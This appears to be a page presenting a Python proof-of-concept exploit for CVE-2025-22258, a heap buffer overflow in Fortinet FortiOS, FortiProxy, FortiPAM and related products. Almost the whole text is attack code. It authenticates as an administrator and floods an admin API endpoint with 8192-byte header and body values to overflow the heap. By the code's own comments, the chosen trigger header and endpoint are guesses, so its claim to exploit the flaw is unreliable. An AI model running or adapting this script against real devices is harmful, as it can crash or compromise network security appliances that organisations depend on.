CVE-2025-22258：Fortinet多产品堆缓冲区溢出权限提升漏洞

# CVE-2025-22258 PoC - Fortinet Heap-based Buffer Overflow # Vulnerability: Heap-based Buffer Overflow in HTTP request processing # Affected: FortiSRA, FortiPAM, FortiProxy, FortiOS, FortiSwitchManager # Requirement: High privilege authentication (PR:H) import requests import sys TARGET = "https://target-fortinet-device:443" USERNAME = "admin" PASSWORD = "password123" def exploit(target, username, password): """ Exploit heap-based buffer overflow via crafted HTTP request. The vulnerability exists in HTTP request parsing where insufficient bounds checking allows heap overflow. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{target}/logincheck" login_data = { "username": username, "secretkey": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") # Step 2: Craft malicious HTTP request to trigger heap overflow # The overflow is triggered by an excessively long value in # a specific HTTP header or parameter processed by the device overflow_payload = "A" * 8192 # Oversized payload to overflow heap buffer # Target endpoint that processes user-supplied data in HTTP request target_endpoint = f"{target}/api/v2/monitor/system/admin/setting" headers = { "Content-Type": "application/json", "X-Forwarded-For": overflow_payload, # Trigger point: oversized header "User-Agent": overflow_payload, } # Step 3: Send crafted request to trigger heap overflow resp = session.post( target_endpoint, headers=headers, json={"name": overflow_payload}, verify=False ) print(f"[*] Response status: {resp.status_code}") if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Potential heap overflow triggered") return True return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET exploit(target, USERNAME, PASSWORD)